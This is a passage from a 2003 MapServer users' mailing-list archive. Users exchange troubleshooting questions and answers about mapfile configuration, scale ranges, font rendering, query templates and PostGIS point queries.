geoplan.ufl.edu) Date: Fri, 17 Jan 2003 14:24:56 -0500 (EST) Subject: [Mapserver-users] Requesting Help: From Shapefiles to Oracle SDE Layers Message-ID: <61366.128.227.0.67.1042831496.squirrel@mail.geoplan.ufl.edu> Ok, I don't really know where to start. We have an application running. http://www.fgdl.org I have no GIS background and only minimal experience in dealing with mapserver. What my job currently entails is to learn how to move our application away from static shapefiles, to our constantly updated Oracle SDE layers. I'm wondering if there's a way and the method it entails to manipulate the .MAP files' code to just pull the SDE layers instead of the shapefiles. Any ideas/suggestions would be greatly appreciated. Lee Slattery University of Florida, Geoplan Center From steve.lime at dnr.state.mn.us Fri Jan 17 14:36:22 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Fri, 17 Jan 2003 16:36:22 -0600 Subject: [Mapserver-users] TrueType Font and Label Angle Message-ID: Interesting. I'll still blame the GD code ;-) I need to make sure the angle computation code is consistent but I believe no changes have been made there. The other place to look is at the font metrics being caughed up by FT via GD. If they have changed or their interpretation has changed then that could affect label placement (but not angle). If you would, please file you report and images in bugzilla. Now that John Ellison has *stable* FT code in GD it may be the time to poke around it. I have a couple of old mods that may still be applicable to him. BTW Have you experimented with different fonts? I've noticed real differences between fonts and wonder how much can be put on that. Steve >>> "Jonathan W. Lowe" 01/17/03 10:08 AM >>> Steve, These responses cleared up my confusion and moved things forward--thanks for the clarification. FYI: there does seem to be a difference in label angles and placement between mapserver-3.6.3 and mapserver-3.7 (from yesterday's nightly build. Specifically, when labeling lines with the "ANGLE AUTO" parameter, mapserver-3.6.3 (w/ freetype-1.3.1 and gd-1.8.4) places line labels exactly along and on top of the lines. Mapserver-3.7 (w/ freetype-2.1.3 and gd-2.x) places the labels (sometimes) slightly different from the angle of the lines and slightly askew from the lines. Comparisons appear at the following (temporary) URL: http://www.giswebsite.com/labels/ The labels generated by mapserver-3.6.3 look cleaner cartographically (to my eye). Certainly not a show stopper--but I thought you might like to know in case it's an easy fix. Thanks again, Jonathan On Thu, 2003-01-16 at 21:00, Steve Lime wrote: > 1) Who knows. Since there is an easy work around I've not felt the need > to poke around the GD code- that's where the problem is. The pain is on > those systems that have a particular version of GD and/or Freetype > pre-installed (life is fine on Solaris for example). > > 2) Um, no need to blame anyone. It really shouldn't have been until GD > 2.0 was stable, so prior to 3.7 only Freetype 1 should be looked for. > The good news is that recent versions of GD 2.0 have had major updates > to TTF support and are believed to work just fine. Bottom line is to use > freetype 1.3.1/gd 1.8.4 with MapServer 3.6.x and either that combination > or freetype 2.0/gd 2.x with MapServer 3.7. > > 3) The bug(s) is in the GD interface to Freetype, not in Freetype > itself. Freetype 2 support in GD has not been stable until recently. > > Steve > > > Stephen Lime > Data & Applications Manager > > Minnesota DNR > 500 Lafayette Road > St. Paul, MN 55155 > 651-297-2937 > >>> "Jonathan W. Lowe" 01/16/03 21:38 PM >>> > Questions (for Daniel?) about the freetype1 vs. freetype2 problem: > > 1) Why does the same version of gd + freetype2 result in a successful > mapserver compilation (i.e. no label angle problems) on RedHat 8.0, but > not on FreeBSD? > > 2) If freetype2 is a problem, why is it the default in the mapserver > Makefile? > > 3) And, if there is a bug in freetype2, rather than avoiding freetype2 > altogether (an endeavor raising its own set of problems), why not get > the bug fixed? Is it a known bug? Has anyone from the list identified > the bug and/or contacted the freetype developer(s) to report it? > > (If this is much easier said than done, please forgive my naivete.) > > Thank you, > Jonathan Lowe > > On Tue, 2003-01-14 at 21:42, Daniel Morissette wrote: > > "Jonathan W. Lowe" wrote: > > > > > > For what it's worth, my installation on RedHat 8.0 didn't have the > label angle > > > problems, so it is possible to successfully compile the software on > Linux. At > > > one point in my efforts to overcome the label angle problems, I > found a > > > reference that said the mere presence of freetype2 might force the > compiler to > > > use freetype2 (the supposed culprit in the label angle problem) > rather than > > > freetype1. Do you have root access to the system on which you are > compiling? I > > > had to isolate libraries like gd and freetype in a local directory > in order to > > > be sure my compilation used exactly the libraries I intended it to > use. > > > > > > > FYI there is a --enable-force-freetype1 configure switch in 3.6.x and > > 3.7 to try to force detection of Freetype 1 in priority over freetype > 2 > > when a system has both. Starting with RH 7.x and 8.x this is very > > useful if you want to compile with your own custom GD with freetype > 1.3. > > > > Daniel > > -- > > ------------------------------------------------------------ > > Daniel Morissette morissette at dmsolutions.ca > > DM Solutions Group http://www.dmsolutions.ca/ > > ------------------------------------------------------------ > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mzm at imagecatinc.com Fri Jan 17 18:12:56 2003 From: mzm at imagecatinc.com (Michael Mio) Date: Fri, 17 Jan 2003 18:12:56 -0800 Subject: [Mapserver-users] can a layer have two templates? Message-ID: Hi everyone. Is there any way a layer can have two templates? I am trying to have a photo and some data come up when a point is clicked on a map. Right now, I can only get the photo to come up or the data, but not both. I have two layers defined in my mapfile that have different names, but bring up the same vectors on the map. So whichever layer is defined last is the information that comes up. If anyone has any idea about this or any better way for me to bring two pieces of data up when clicking on a point, please let me know. Thanks a lot! *************** Michael Mio ImageCat, Inc. From Uffe Sat Jan 18 05:41:21 2003 From: Uffe (Uffe) Date: Sat, 18 Jan 2003 14:41:21 +0100 Subject: [Mapserver-users] Index on field in DBF? References: Message-ID: <007401c2bef7$49c6a570$6501a8c0@dual866> In a SHP file I have a field, which is used to determine whether or not the shape should be drawn at the current scale. This is done using an expression in the mapfile and the maxscale property. This a bit slow on large extents (where I don't want all details drawn), so my question is this: Is it possible to define an index on the field in the DBF file and have mapserver use it? Or should I split the SHP file in smaller parts for each value of the field? TIA Uffe Kousgaard From DOtt at PALATINE.IL.US Sat Jan 18 10:02:43 2003 From: DOtt at PALATINE.IL.US (Dale Ott) Date: Sat, 18 Jan 2003 12:02:43 -0600 Subject: [Mapserver-users] Re: Mapserver-users digest, Vol 1 #47 - 6 msgs (Auto Reply.) Message-ID: Sorry but I will be out of the Office until Monday, January 20, 2003. I will be checking my email as soon as I return and will get back to you then. Sorry for any inconvenience. Thanks! From scarr at progbits.com Sat Jan 18 11:22:13 2003 From: scarr at progbits.com (Scott Carr) Date: Sat, 18 Jan 2003 13:22:13 -0600 Subject: [Mapserver-users] MaxScale / MinScale Problem Message-ID: <1042917733.3e29a9657531b@progbits.com> I have a residential and a business layer that lists a whole lot of people numbers and such. I would like these layers to only show up when I get down to a certain extent. Anytime I put numbers in the MaxScale / MinScale, the layers are not displayed at all. I have put numbers of varying ranges in, but no luck. Any ideas? My Map File as it stands now: map extent -104.187846 39.864694 -103.411784 40.610718 fontset "symbols/fontset.fon" imagecolor 255 255 255 name "Caldwell County" shapepath "data" size 530 430 status on symbolset "symbols/all.sym" transparent on units feet # 1 scalebar #none scalebar backgroundcolor 123 123 123 color 255 0 0 imagecolor 0 0 255 intervals 4 outlinecolor 0 0 0 size 200 7 status on style 0 transparent true units feet # 1 label #none label backgroundcolor 0 0 0 color 255 255 0 size tiny end end # 2 layer Cities layer classitem "ID" data "Cities" group "Cities" labelcache on name "Cities" status on type polygon # 1 class Cities_1 class backgroundcolor 128 128 128 color 0 128 255 name "Cities_1" outlinecolor 0 0 0 end end # 3 layer County layer classitem "ID" data "County" group "County" labelcache on name "County" status on type polygon # 1 class County_1 class backgroundcolor 128 128 128 color 128 255 128 name "County_1" outlinecolor 0 0 0 end end # 4 layer Geocode layer classitem "ID" data "Geocode" group "Geocode" labelcache on name "Geocode" status on type line # 1 class Geocode_1 class backgroundcolor 128 128 128 color 128 128 128 name "Geocode_1" outlinecolor 0 0 0 end end # 5 layer Lakes layer classitem "ID" data "Lakes" group "Lakes" labelcache on name "Lakes" status on type polygon # 1 class Lakes_1 class backgroundcolor 128 128 128 color 0 128 255 name "Lakes_1" outlinecolor 0 0 0 end end # 6 layer Landmarks layer classitem "ID" data "Landmarks" group "Landmarks" labelcache on name "Landmarks" status on type polygon # 1 class Landmarks_1 class backgroundcolor 128 128 128 color 255 128 0 name "Landmarks_1" outlinecolor 0 0 0 end end # 7 layer Majorroads layer classitem "FRC" data "Majorroads" group "Majorroads" labelcache on name "Majorroads" status on type line # 1 class Majorroads_1 class backgroundcolor 128 128 128 color 0 0 0 name "Majorroads_1" outlinecolor 0 0 0 size 2 end end # 8 layer medical layer classitem "ABINUMBER" data "medical" footer "medical_footer.html" group "medical" header "medical_header.html" labelcache on name "medical" status on type point # 1 class medical_1 class backgroundcolor 128 128 128 color 255 255 0 name "medical_1" outlinecolor 0 0 0 end end # 9 layer Railroads layer classitem "ID" data "Railroads" group "Railroads" labelcache on name "Railroads" status on type line # 1 class Railroads_1 class backgroundcolor 128 128 128 color 0 0 0 name "Railroads_1" outlinecolor 0 0 0 end end # 10 layer residential layer classitem "NAME" data "residential" group "residential" labelcache on maxscale 20000 minscale 100 name "residential" status on symbolscale 1 type point # 1 class residential_1 class backgroundcolor 255 255 255 color 255 128 0 maxsize 10 minsize 2 name "residential_1" outlinecolor 0 0 0 size 1 symbol "house" end end # 11 layer business layer classitem "NAME" data "business" footer "business_footer.html" group "business" header "business_header.html" name "business" status on MAXSCALE 5000 MINSCALE 100 symbolscale 1 type point # 1 class business_1 class backgroundcolor 128 128 128 color 255 0 0 maxsize 10 minsize 2 name "business_1" outlinecolor 0 0 0 size 1 symbol "circle" end end # 12 layer Rivers layer classitem "ID" data "Rivers" group "Rivers" labelcache on name "Rivers" status on type line # 1 class Rivers_1 class backgroundcolor 128 128 128 color 0 128 255 name "Rivers_1" outlinecolor 0 0 0 end end # 13 web 1222.html web footer "1222_footer.html" header "1222_header.html" imagepath "e:\Program Files\Apache Group\Apache\htdocs\tmp\" imageurl "/tmp/" template "1222.html" end # 14 querymap hilite querymap color 255 0 0 size 530 430 status on style hilite end # 15 reference graphics/reference.gif reference color -1 -1 -1 extent -104.187846 39.864694 -103.411784 40.610718 image "graphics/reference.gif" outlinecolor 255 0 0 size 120 120 status on end # 16 legend #none legend keysize 18 12 status on # 1 label #none label color 0 0 89 size medium type bitmap end end end -- Scott Carr Documentation Maintainer http://documentation.openoffice.org OpenOffice.org ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From morissette at dmsolutions.ca Sat Jan 18 11:59:41 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Sat, 18 Jan 2003 14:59:41 -0500 Subject: [Mapserver-users] MaxScale / MinScale Problem References: <1042917733.3e29a9657531b@progbits.com> Message-ID: <3E29B22D.7A988EF6@dmsolutions.ca> Scott Carr wrote: > > I have a residential and a business layer that lists a whole lot of people > numbers and such. I would like these layers to only show up when I get down to > a certain extent. > > Anytime I put numbers in the MaxScale / MinScale, the layers are not displayed > at all. I have put numbers of varying ranges in, but no luck. > > Any ideas? Try putting a [scale] tag in your template to view the range of scale values that your map produces as you zoom in and out. This will help you in figuring the numbers to use as minscale and maxscale. Also, if the scale value is not in the range that you expect it may be because the UNITS at the top level of your map are not set properly. The UNITS parameter must correspond to the units used by the EXTENT in your mapfile. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From scarr at progbits.com Sat Jan 18 19:45:25 2003 From: scarr at progbits.com (Scott Carr) Date: Sat, 18 Jan 2003 21:45:25 -0600 Subject: [Mapserver-users] MaxScale / MinScale Problem In-Reply-To: <3E296B70.4135.133394D@localhost> References: <3E296B70.4135.133394D@localhost> Message-ID: <1042947925.3e2a1f558166b@progbits.com> Thanks, man. This worked like a charm. I messed around with this for a while last night. -- Scott Carr Documentation Maintainer http://documentation.openoffice.org OpenOffice.org Quoting woodbri at swoodbridge.com: > Scott, > > Try changing your UNITS to DD then your MIN/MAXSCALE should work. > > -Steve > > On 18 Jan 2003 at 13:22, Scott Carr wrote: > > > I have a residential and a business layer that lists a whole lot of > > people numbers and such. I would like these layers to only show up > > when I get down to a certain extent. > > > > Anytime I put numbers in the MaxScale / MinScale, the layers are not > > displayed at all. I have put numbers of varying ranges in, but no > > luck. > > > > Any ideas? > > > > My Map File as it stands now: > > > > map > > extent -104.187846 39.864694 -103.411784 40.610718 > > fontset "symbols/fontset.fon" > > imagecolor 255 255 255 > > name "Caldwell County" > > shapepath "data" > > size 530 430 > > status on > > symbolset "symbols/all.sym" > > transparent on > > units feet > > # 1 scalebar #none > > scalebar > > backgroundcolor 123 123 123 > > color 255 0 0 > > imagecolor 0 0 255 > > intervals 4 > > outlinecolor 0 0 0 > > size 200 7 > > status on > > style 0 > > transparent true > > units feet > > # 1 label #none > > label > > backgroundcolor 0 0 0 > > color 255 255 0 > > size tiny > > end > > end > > # 2 layer Cities > > layer > > classitem "ID" > > data "Cities" > > group "Cities" > > labelcache on > > name "Cities" > > status on > > type polygon > > # 1 class Cities_1 > > class > > backgroundcolor 128 128 128 > > color 0 128 255 > > name "Cities_1" > > outlinecolor 0 0 0 > > end > > end > > # 3 layer County > > layer > > classitem "ID" > > data "County" > > group "County" > > labelcache on > > name "County" > > status on > > type polygon > > # 1 class County_1 > > class > > backgroundcolor 128 128 128 > > color 128 255 128 > > name "County_1" > > outlinecolor 0 0 0 > > end > > end > > # 4 layer Geocode > > layer > > classitem "ID" > > data "Geocode" > > group "Geocode" > > labelcache on > > name "Geocode" > > status on > > type line > > # 1 class Geocode_1 > > class > > backgroundcolor 128 128 128 > > color 128 128 128 > > name "Geocode_1" > > outlinecolor 0 0 0 > > end > > end > > # 5 layer Lakes > > layer > > classitem "ID" > > data "Lakes" > > group "Lakes" > > labelcache on > > name "Lakes" > > status on > > type polygon > > # 1 class Lakes_1 > > class > > backgroundcolor 128 128 128 > > color 0 128 255 > > name "Lakes_1" > > outlinecolor 0 0 0 > > end > > end > > # 6 layer Landmarks > > layer > > classitem "ID" > > data "Landmarks" > > group "Landmarks" > > labelcache on > > name "Landmarks" > > status on > > type polygon > > # 1 class Landmarks_1 > > class > > backgroundcolor 128 128 128 > > color 255 128 0 > > name "Landmarks_1" > > outlinecolor 0 0 0 > > end > > end > > # 7 layer Majorroads > > layer > > classitem "FRC" > > data "Majorroads" > > group "Majorroads" > > labelcache on > > name "Majorroads" > > status on > > type line > > # 1 class Majorroads_1 > > class > > backgroundcolor 128 128 128 > > color 0 0 0 > > name "Majorroads_1" > > outlinecolor 0 0 0 > > size 2 > > end > > end > > # 8 layer medical > > layer > > classitem "ABINUMBER" > > data "medical" > > footer "medical_footer.html" > > group "medical" > > header "medical_header.html" > > labelcache on > > name "medical" > > status on > > type point > > # 1 class medical_1 > > class > > backgroundcolor 128 128 128 > > color 255 255 0 > > name "medical_1" > > outlinecolor 0 0 0 > > end > > end > > # 9 layer Railroads > > layer > > classitem "ID" > > data "Railroads" > > group "Railroads" > > labelcache on > > name "Railroads" > > status on > > type line > > # 1 class Railroads_1 > > class > > backgroundcolor 128 128 128 > > color 0 0 0 > > name "Railroads_1" > > outlinecolor 0 0 0 > > end > > end > > # 10 layer residential > > layer > > classitem "NAME" > > data "residential" > > group "residential" > > labelcache on > > maxscale 20000 > > minscale 100 > > name "residential" > > status on > > symbolscale 1 > > type point > > # 1 class residential_1 > > class > > backgroundcolor 255 255 255 > > color 255 128 0 > > maxsize 10 > > minsize 2 > > name "residential_1" > > outlinecolor 0 0 0 > > size 1 > > symbol "house" > > end > > end > > # 11 layer business > > layer > > classitem "NAME" > > data "business" > > footer "business_footer.html" > > group "business" > > header "business_header.html" > > name "business" > > status on > > MAXSCALE 5000 > > MINSCALE 100 > > symbolscale 1 > > type point > > # 1 class business_1 > > class > > backgroundcolor 128 128 128 > > color 255 0 0 > > maxsize 10 > > minsize 2 > > name "business_1" > > outlinecolor 0 0 0 > > size 1 > > symbol "circle" > > end > > end > > # 12 layer Rivers > > layer > > classitem "ID" > > data "Rivers" > > group "Rivers" > > labelcache on > > name "Rivers" > > status on > > type line > > # 1 class Rivers_1 > > class > > backgroundcolor 128 128 128 > > color 0 128 255 > > name "Rivers_1" > > outlinecolor 0 0 0 > > end > > end > > # 13 web 1222.html > > web > > footer "1222_footer.html" > > header "1222_header.html" > > imagepath "e:\Program Files\Apache Group\Apache\htdocs\tmp\" > > imageurl "/tmp/" > > template "1222.html" > > end > > # 14 querymap hilite > > querymap > > color 255 0 0 > > size 530 430 > > status on > > style hilite > > end > > # 15 reference graphics/reference.gif > > reference > > color -1 -1 -1 > > extent -104.187846 39.864694 -103.411784 40.610718 > > image "graphics/reference.gif" > > outlinecolor 255 0 0 > > size 120 120 > > status on > > end > > # 16 legend #none > > legend > > keysize 18 12 > > status on > > # 1 label #none > > label > > color 0 0 89 > > size medium > > type bitmap > > end > > end > > end > > > > > > -- > > Scott Carr > > Documentation Maintainer > > http://documentation.openoffice.org > > OpenOffice.org > > > > > > > > > > > > ------------------------------------------------- > > This mail sent through IMP: http://horde.org/imp/ > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From scarr at progbits.com Sat Jan 18 20:17:12 2003 From: scarr at progbits.com (Scott Carr) Date: Sat, 18 Jan 2003 22:17:12 -0600 Subject: [Mapserver-users] Legends and MaxScale / MinScale Message-ID: <1042949832.3e2a26c89c40e@progbits.com> Is there any way to force a Legend to always include all layers no matter if they are included in the map or not? -- Scott Carr Documentation Maintainer http://documentation.openoffice.org OpenOffice.org ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From scarr at progbits.com Sat Jan 18 23:09:04 2003 From: scarr at progbits.com (Scott Carr) Date: Sun, 19 Jan 2003 01:09:04 -0600 Subject: [Mapserver-users] Query with Ellipse Message-ID: <1042960144.3e2a4f10668af@progbits.com> Is there an example of how to query using the ROSA Ellipse tool? Do you have to create a Polygon shape object using the MBR? Thanks in advance. -- Scott Carr Documentation Maintainer http://documentation.openoffice.org OpenOffice.org ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From scarr at progbits.com Sun Jan 19 01:05:32 2003 From: scarr at progbits.com (Scott Carr) Date: Sun, 19 Jan 2003 03:05:32 -0600 Subject: [Mapserver-users] Query Results Message-ID: <1042967132.3e2a6a5cc3510@progbits.com> I have some shapefiles with DBF data associated with them. I am not able to query any of the features in these maps. I can pull up the information easily with ArcView 3.2/8.1. I keep getting No results, but I am draging a bounding rectangle that encompasses several of the points that I know have data. Any ideas? And thoughts? Thanks in advance. -- Scott Carr Documentation Maintainer http://documentation.openoffice.org OpenOffice.org ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From DOtt at PALATINE.IL.US Sun Jan 19 10:03:52 2003 From: DOtt at PALATINE.IL.US (Dale Ott) Date: Sun, 19 Jan 2003 12:03:52 -0600 Subject: [Mapserver-users] Re: Mapserver-users digest, Vol 1 #48 - 7 msgs (Auto Reply.) Message-ID: Sorry but I will be out of the Office until Monday, January 20, 2003. I will be checking my email as soon as I return and will get back to you then. Sorry for any inconvenience. Thanks! From ryanne.cruz at up.edu.ph Mon Jan 20 00:57:42 2003 From: ryanne.cruz at up.edu.ph (ryanne cruz) Date: Mon, 20 Jan 2003 16:57:42 +0800 Subject: [Mapserver-users] Transparent Message-ID: <1043053062.3e2bba064e145@mail.up.edu.ph> What does the "TRANSPARENT FALSE" and "INTERLACE TRUE" means in the map file? Example: MAP EXTENT 116.47 8.33311 121.035 12.3298 IMAGECOLOR 255 255 255 IMAGEQUALITY 75 IMAGETYPE PNG INTERLACE TRUE SIZE 800 700 STATUS ON TRANSPARENT FALSE UNITS METERS NAME "WIND" thanks! ryanne cruz From mccrone at pc.jaring.my Mon Jan 20 01:01:24 2003 From: mccrone at pc.jaring.my (Steve McCrone) Date: Mon, 20 Jan 2003 17:01:24 +0800 Subject: [Mapserver-users] Old question (query/find) solved. New question - query, mode & rosa & Message-ID: <001701c2c062$832a2320$c99e063d@clickntrac> Firstly, I've manged to solve my issue regarding the searching for spatial data based on an attribute - thanks to Richards Greenwood. The solution was to have two layers - one for normal display and mouse click query, and the other for searching query, that will contain filters. New problem: I've manged to solve all of my rosa issues except the query (mouse click a feature). The only way I could get mine to work is to have the following - I do not have a hidden variable like - and therefore are not setting this to anything. When I enable the pquery tool I can click on a polygon and the tmeplate file is called and all is fine. However, when I activate the zoomin/out/pan tools it is still in nquery mode and therefore it will not zoom/pan - it just keeps selecting features and displaying info on them. I've tried for the past few days playing around with javascript functions and setting the mode back to browse but still causing a problem. I'm sure the solution is simple, but once again it eludes me. Thanks, Steve From wesp at gdv.com Mon Jan 20 01:00:48 2003 From: wesp at gdv.com (Oliver Wesp) Date: Mon, 20 Jan 2003 10:00:48 +0100 Subject: [Mapserver-users] itemnquery and [shpext] Message-ID: <3E2BBAC0.6090006@gdv.com> Dear List, Maybe this is simple, cause I'm missing something. Maybe not. What I'm trying to do is to make a simple itemnquery (item/value) get the results and zoom the map to the extent of the result shapes. So what I thought I do is simply place [shpext] in my template file to get the extent and use this for creating the new map. Work fine except for the fact that the only thing I get back for [shpext] is '-1 -1 -1 -1'. Same for [shpmid] or any other extent related informationen about the shape. If I place mapext=[shapes] in my request (just to give it a shoot) mapserver tells me that it's not possible to generate a valid mapextent from selected shapes. Here is the setting -qlayer is of polygon type. -Datasource is SDE (8.2) -Mapserver is 3.6.1 and here is my request: http://mymachine/cgi-bin/mapserv? map=/var/apache/htdocs/project/myMap.map &mode=itemnquery &qLayer=myLayer &map_myLayer_filter="ITEM='VALUE'" &map_myLayer_data=SDEUSER.SDETABALE,SHAPE &map_myLayer_header=templates/searchheader.html &map_myLayer_template=templates/search.html &map_myLayer_footer=templates/searchcellfooter.html Any hint is appreciated. regards Oliver From nida at webstar.co.uk Mon Jan 20 01:58:59 2003 From: nida at webstar.co.uk (nida Khan) Date: Mon, 20 Jan 2003 09:58:59 -0000 Subject: [Mapserver-users] query result for a point Message-ID: <009e01c2c06a$8e62c820$a901a8c0@private.webstar.co.uk> This is a multi-part message in MIME format. ------=_NextPart_000_009B_01C2C06A.8DCBB840 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi List, I have a map file with some layers.=20 My query option works fine with all the polygon layers but it does not = work for point. For those points which are ploted on top of polygon, query display the = polygon details, and for the points outside the polygon, query display "no result found". points layers is the top layer, so I dont understand why its querying = the ploygon layer instead of points? I really appreciate any input, Many Thanks Nida. ------=_NextPart_000_009B_01C2C06A.8DCBB840 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Hi List,
 
I have a map file with some layers.
My query option works fine with all the polygon = layers but it=20 does not work for point.
 
For those points which are ploted on top of = polygon,=20 query display the polygon details,
and for the points outside the polygon, = query display "no=20 result found".
 
points layers is the top layer, so I dont understand = why its=20 querying the ploygon layer instead of points?
 
I really appreciate any input,
Many Thanks
Nida.
 
------=_NextPart_000_009B_01C2C06A.8DCBB840-- From nida at webstar.co.uk Mon Jan 20 04:40:02 2003 From: nida at webstar.co.uk (nida Khan) Date: Mon, 20 Jan 2003 12:40:02 -0000 Subject: [Mapserver-users] query result for a point References: <009e01c2c06a$8e62c820$a901a8c0@private.webstar.co.uk> <000d01c2c07e$26f1ac60$0900a8c0@cpi.local> Message-ID: <017501c2c081$0dc629c0$a901a8c0@private.webstar.co.uk> This is a multi-part message in MIME format. ------=_NextPart_000_0172_01C2C081.0D6A9C40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi Calin, Thanx for your reply, I tried tolerance 50 but still the same thing, query works only on = polygon. I also tried by plotting only points on the map, only one layer that = means. :( still no luck. here is def. of my layer in map file # to disply postcode on map LAYER # start of the "points" layer object CONNECTIONTYPE postgis NAME "points" CONNECTION "host=3D34343 port=3D5432 user=3Dteest password=3Dtest = dbname=3Dtest" DATA "the_geom from points" STATUS ON TYPE POINT METADATA=20 "DESCRIPTION" "DISTRICT" "RESULT_FIELDS" "region" END CLASS NAME "points" COLOR 0 0 0 #OUTLINECOLOR 255 89 89 #SYMBOL 'circle' SYMBOL 7 SIZE 8 END # end of class object TOLERANCE 50 END # end of layer object Many Thanks Nida. ----- Original Message -----=20 From: Calin D. NITU=20 To: nida Khan=20 Sent: Monday, January 20, 2003 12:19 PM Subject: Re: [Mapserver-users] query result for a point Hi Nida, Try to use the TOLERANCE ... I set it to 50 pixels (TOLERANCE 50) and = the query works fine... Calin ----- Original Message -----=20 From: nida Khan=20 To: Mapserver-users at lists.gis.umn.edu=20 Sent: Monday, January 20, 2003 10:58 AM Subject: [Mapserver-users] query result for a point Hi List, I have a map file with some layers.=20 My query option works fine with all the polygon layers but it does = not work for point. For those points which are ploted on top of polygon, query display = the polygon details, and for the points outside the polygon, query display "no result = found". points layers is the top layer, so I dont understand why its = querying the ploygon layer instead of points? I really appreciate any input, Many Thanks Nida. ------=_NextPart_000_0172_01C2C081.0D6A9C40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi Calin,
 
Thanx for your reply,
I tried tolerance 50  but still the same thing, = query=20 works only on polygon.
I also tried by plotting only points on the map, = only one=20 layer that means. :( still no luck.
 
here is def. of my layer in map file
 
# to disply postcode on map
LAYER #=20 start of the "points" layer object
  CONNECTIONTYPE = postgis
 =20 NAME "points"
  CONNECTION "host=3D34343 port=3D5432 = user=3Dteest=20 password=3Dtest dbname=3Dtest"
  DATA "the_geom from = points"
 =20 STATUS ON
  TYPE POINT
  METADATA
    = "DESCRIPTION"   "DISTRICT"
    = "RESULT_FIELDS"=20 "region"
  END
  CLASS
    NAME=20 "points"
    COLOR 0 0 0
    = #OUTLINECOLOR=20 255 89 89
    #SYMBOL 'circle'
    = SYMBOL=20 7
    SIZE 8
  END # end of class = object
 =20 TOLERANCE 50
END # end of layer object
 
Many Thanks
Nida.
 
----- Original Message -----
From:=20 Calin D.=20 NITU
Sent: Monday, January 20, 2003 = 12:19=20 PM
Subject: Re: [Mapserver-users] = query=20 result for a point

Hi Nida,
 
Try to use the TOLERANCE ... I set it = to=20 50 pixels  (TOLERANCE 50) and the query works = fine...
 
Calin
----- Original Message -----
From:=20 nida Khan=20
To: Mapserver-users at lists.g= is.umn.edu=20
Sent: Monday, January 20, = 2003 10:58=20 AM
Subject: [Mapserver-users] = query result=20 for a point

Hi List,
 
I have a map file with some layers. =
My query option works fine with all the polygon = layers but=20 it does not work for point.
 
For those points which are ploted on top of = polygon,=20 query display the polygon details,
and for the points outside the polygon, = query display=20 "no result found".
 
points layers is the top layer, so I dont = understand why=20 its querying the ploygon layer instead of points?
 
I really appreciate any input,
Many Thanks
Nida.
 
------=_NextPart_000_0172_01C2C081.0D6A9C40-- From mccrone at pc.jaring.my Mon Jan 20 05:05:12 2003 From: mccrone at pc.jaring.my (Steve McCrone) Date: Mon, 20 Jan 2003 21:05:12 +0800 Subject: [Mapserver-users] query/rosa - solved Message-ID: <002401c2c084$952dd4a0$1361063d@clickntrac> Soon after I posted my last question I found the answer. I placed javascript calls for my zoom in/out and pan (i.e. ) and in each funtion I had - var inputtype var aForm = document.forms[0] aForm.mode.value = "browse"; aForm.lastButtonSelected.value = "recentre"; aForm.submit() It seems the rosa query tool changed the mode to query (as expected), but did not get changed back to 'browse' by enabling the other tools. Steve From bon at ivv-aachen.de Mon Jan 20 05:16:35 2003 From: bon at ivv-aachen.de (=?iso-8859-1?Q?Nicole_B=F6meke?=) Date: Mon, 20 Jan 2003 14:16:35 +0100 Subject: [Mapserver-users] NT batch programm to kill old mapserver processes In-Reply-To: <000201c2be26$587f5610$1a01a8c0@ivvaachen.de> Message-ID: <000201c2c086$28dda440$1a01a8c0@ivvaachen.de> I'm need a batch programm that kills all mapserver processes running longer than e.g. 300 seconds. How can I achieve this? Nicole From bon at ivv-aachen.de Mon Jan 20 05:16:35 2003 From: bon at ivv-aachen.de (=?iso-8859-1?Q?Nicole_B=F6meke?=) Date: Mon, 20 Jan 2003 14:16:35 +0100 Subject: [Mapserver-users] NT batch programm to kill old mapserver processes In-Reply-To: <000201c2be26$587f5610$1a01a8c0@ivvaachen.de> Message-ID: <000201c2c086$28dda440$1a01a8c0@ivvaachen.de> I'm need a batch programm that kills all mapserver processes running longer than e.g. 300 seconds. How can I achieve this? Nicole From bon at ivv-aachen.de Mon Jan 20 05:16:35 2003 From: bon at ivv-aachen.de (=?iso-8859-1?Q?Nicole_B=F6meke?=) Date: Mon, 20 Jan 2003 14:16:35 +0100 Subject: [Mapserver-users] NT batch programm to kill old mapserver processes In-Reply-To: <000201c2be26$587f5610$1a01a8c0@ivvaachen.de> Message-ID: <000201c2c086$28dda440$1a01a8c0@ivvaachen.de> I'm need a batch programm that kills all mapserver processes running longer than e.g. 300 seconds. How can I achieve this? Nicole From bon at ivv-aachen.de Mon Jan 20 05:16:35 2003 From: bon at ivv-aachen.de (=?iso-8859-1?Q?Nicole_B=F6meke?=) Date: Mon, 20 Jan 2003 14:16:35 +0100 Subject: [Mapserver-users] NT batch programm to kill old mapserver processes In-Reply-To: <000201c2be26$587f5610$1a01a8c0@ivvaachen.de> Message-ID: <000201c2c086$28dda440$1a01a8c0@ivvaachen.de> I'm need a batch programm that kills all mapserver processes running longer than e.g. 300 seconds. How can I achieve this? Nicole From bon at ivv-aachen.de Mon Jan 20 05:16:35 2003 From: bon at ivv-aachen.de (=?iso-8859-1?Q?Nicole_B=F6meke?=) Date: Mon, 20 Jan 2003 14:16:35 +0100 Subject: [Mapserver-users] NT batch programm to kill old mapserver processes In-Reply-To: <000201c2be26$587f5610$1a01a8c0@ivvaachen.de> Message-ID: 